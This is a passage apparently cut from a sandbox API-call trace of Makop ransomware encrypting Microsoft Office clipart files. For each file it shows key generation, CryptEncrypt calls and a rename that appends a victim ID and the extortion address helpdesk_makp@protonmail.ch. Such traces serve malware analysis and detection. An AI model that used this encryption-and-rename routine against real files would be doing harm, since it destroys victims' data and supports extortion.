returned 1 [0128.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0128.965] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned 63 [0128.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.966] GetProcessHeap () returned 0x48a0000 [0128.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.966] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0128.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.971] GetProcessHeap () returned 0x48a0000 [0128.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.971] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.971] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.972] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d26, lpOverlapped=0x0) returned 1 [0128.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d30) returned 1 [0128.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9d30, lpOverlapped=0x0) returned 1 [0128.979] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.980] SetEndOfFile (hFile=0xf0) returned 1 [0128.987] GetProcessHeap () returned 0x48a0000 [0128.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.987] GetProcessHeap () returned 0x48a0000 [0128.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.987] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.989] CloseHandle (hObject=0xf0) returned 1 [0128.989] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0128.989] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned 63 [0128.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.991] GetProcessHeap () returned 0x48a0000 [0128.992] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.992] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.996] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.996] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.996] GetProcessHeap () returned 0x48a0000 [0128.996] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.996] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.997] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.997] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.997] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.998] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x668c, lpOverlapped=0x0) returned 1 [0129.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6690, dwBufLen=0x6690 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6690) returned 1 [0129.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6690, lpOverlapped=0x0) returned 1 [0129.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.001] SetEndOfFile (hFile=0xf0) returned 1 [0129.008] GetProcessHeap () returned 0x48a0000 [0129.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.008] GetProcessHeap () returned 0x48a0000 [0129.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.008] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.011] CloseHandle (hObject=0xf0) returned 1 [0129.011] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0129.011] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0129.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.012] GetProcessHeap () returned 0x48a0000 [0129.012] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.012] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.019] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.019] GetProcessHeap () returned 0x48a0000 [0129.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.020] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.020] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.021] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x849c, lpOverlapped=0x0) returned 1 [0129.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84a0) returned 1 [0129.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x84a0, lpOverlapped=0x0) returned 1 [0129.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.026] SetEndOfFile (hFile=0xf0) returned 1 [0129.033] GetProcessHeap () returned 0x48a0000 [0129.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.033] GetProcessHeap () returned 0x48a0000 [0129.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.033] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.035] CloseHandle (hObject=0xf0) returned 1 [0129.035] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0129.035] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0129.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.036] GetProcessHeap () returned 0x48a0000 [0129.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.070] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.070] GetProcessHeap () returned 0x48a0000 [0129.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.070] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.071] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.072] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.072] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.072] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.072] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.072] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5cae, lpOverlapped=0x0) returned 1 [0129.075] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5cb0, dwBufLen=0x5cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5cb0) returned 1 [0129.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5cb0, lpOverlapped=0x0) returned 1 [0129.076] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.076] SetEndOfFile (hFile=0xf0) returned 1 [0129.082] GetProcessHeap () returned 0x48a0000 [0129.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.083] GetProcessHeap () returned 0x48a0000 [0129.083] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.083] wsprintfW (in: param_1=0x48c4f5c, 